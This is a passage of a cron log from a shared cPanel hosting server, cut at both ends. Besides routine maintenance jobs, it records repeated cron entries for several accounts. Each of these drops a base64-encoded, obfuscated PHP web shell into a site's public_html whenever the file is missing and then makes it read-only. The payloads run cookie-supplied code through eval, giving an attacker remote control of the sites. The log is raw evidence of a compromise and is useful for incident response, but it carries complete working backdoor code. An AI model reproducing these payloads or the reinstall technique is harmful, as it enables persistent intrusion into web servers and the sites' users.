oMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:36:01 medusa CROND[28223]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:36:01 medusa CROND[28224]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:36:01 medusa CROND[28228]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:36:01 medusa CROND[28236]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:36:01 medusa CROND[28239]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:36:01 medusa CROND[28237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:36:01 medusa CROND[28240]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:36:01 medusa CROND[28241]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:37:01 medusa CROND[19479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:37:01 medusa CROND[19612]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:37:01 medusa CROND[19613]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:37:01 medusa CROND[19614]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:37:01 medusa CROND[19615]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:37:01 medusa CROND[19616]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:37:01 medusa CROND[19620]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:37:01 medusa CROND[19622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:37:01 medusa CROND[19624]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:37:01 medusa CROND[19625]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:37:01 medusa CROND[19628]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:37:01 medusa CROND[19629]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:37:01 medusa CROND[19631]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:38:01 medusa CROND[10831]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:38:01 medusa CROND[10979]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:38:01 medusa CROND[11004]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:38:01 medusa CROND[11005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:38:01 medusa CROND[11006]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:38:01 medusa CROND[11009]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:38:01 medusa CROND[11011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:38:01 medusa CROND[11017]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:38:01 medusa CROND[11020]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkg